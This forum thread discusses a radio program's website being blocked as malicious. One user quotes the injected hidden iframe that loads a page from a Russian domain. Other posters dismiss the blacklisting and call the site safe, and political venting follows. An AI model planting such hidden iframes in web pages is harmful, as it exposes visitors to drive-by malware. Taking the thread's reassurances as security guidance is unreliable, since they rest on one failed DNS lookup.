Progressive Shores link to playlists.

[PlayingTheFool]

Cool,

Now Sean does not need to post his site anymore!

[progdirjim(Admin)]

just bumping this thread to the top...

[PlayingTheFool]

You should create it as a sticky, Jim...

[Avian(Admin)]

I be done it.

MY VERY OWN STICKY THREAD

Seriously, thanks guys. This is definitely better.

[Lady Roxelle]

Thanks Vax, for the link! I ´m aways lost when I listen to Progressive Shores. I think that this program is essential to AM.

[Niteflyte]

I listened to Progressive Shores for first time last Eve and I agree it is imperatively essential on AM. The Raw Material tunes were tremendous and made me reflect back to the early 80's whenever I acquired an original vinyl pressing.

Thanks to Sean...... for being

Just tried to access ProgShores site. It has been blocked as it seems to have been hacked maliciously.

Could be nothing but be careful. I can't get into the site at all.

Glad you posted it KW , Same to me and it lasts since month if not more than a year , it is sad cos i like PS a lot

[KenSchwartz]

i'm with KW - avast antivirus refuses to let me get to the page

[roger]

I went ahead and dived in, and found this:

<iframe src="http://x3y.ru:8080/index.php" width=142 height=111 style="visibility: hidden"></iframe>

that's the bad boy from the Russian Malware mob...

the rest of the page is fine, but that bit of code is hidden in the body tag.

Open the page. Then, go complaint to Google. This is a stupid DoS that Google implemented. Do you have any idea how easy it it to report a site as a phishing/virus/malware site and get it blacklisted? Do you have any idea how DIFFICULT it is to get removed once it's been blacklisted. All of you should be thankful that I have good report with my attorney who was instrumental in removing AM from this stupid Google block list. Next time I'll leave it lie.

So much for my silence but this assinine nanniness by Google pisses me off as mush as the nanniness of the US gov't's d'rats. First Google usurps the net and now congress gives Oh-dumba the power to usurp it. Does anyone miss that 1st Amendment?

[NorCalKurt]

Can't get the page to work either. I did complain to Google.

[roger]

I don't know anything about the Google stuff, but there IS malware on the site, see my prior post.

x3y.ru doesn't translate to any IP address...

therefore:
# telnet x3y.ru 8080
x3y.ru: No address associated with nodename

Like I said, you're safe to go there... the site own SHOULD remove the iframe reference. That should remove the Google prohibition from browser enabled to follow their blind advice.

[jtmckinley]

There's nothing inherently wrong with a hidden iframe, people used to use them to do legitimate AJAX-like stuff. If the domain doesn't even resolve to an IP there's certainly no point in having it there and it can't be doing anything bad unless it resolves. The only concern I can think of is if people assume it's OK and then the DNS is changed some time in the future so that it does resolve after users have become sanguine about the iframe being there AND then something malicious is done via that iframe. It certainly doesn't give one a warm fuzzy having it there and if the site owner cares about being flagged as suspicious he/she should remove it as VAX said.

Also VAX is correct about it being really easy to get on and really hard to get off blacklists. The company I used to work for did mass emails for U.S. car dealerships to their legitimate customers (email addresses defined by repair order feeds we got from dealer service departments whose customers willingly gave their email addresses) for sending service coupons and such. Ironically, relative to this particular context, one blacklist we really had trouble being removed from was a blacklist hosted in Russia. The blacklists I'm referring to regarding my former employer were spam blacklists, but the issue is similar for websites.

On the other hand, conflating Google blacklisting this site to anything the current U.S. administration is doing is pretty silly, I'll just chalk that up to VAX's need to vent for whatever reason. The U.S. 1st Amendment is alive and well as far as I can tell, besides there's nothing in there about the internet, the 'net obviously didn't exist. I'm all for the FCC implementing some net neutrality provisions, but of course that's another topic altogether.

That's true. What the current administration is doing is far more heinous than Google's apparent attempts to protect the hapless internet user.

FWIW, there's a wealth of SCOTUS opinions related to the internet and watchdog groups like EFF have their hands full keeping tabs on what the gov't is doing. And, in case you missed it, congress is giving the white house powers to shut down the internet. The 1st Amendment is being stressed and stretched quite thin these days.
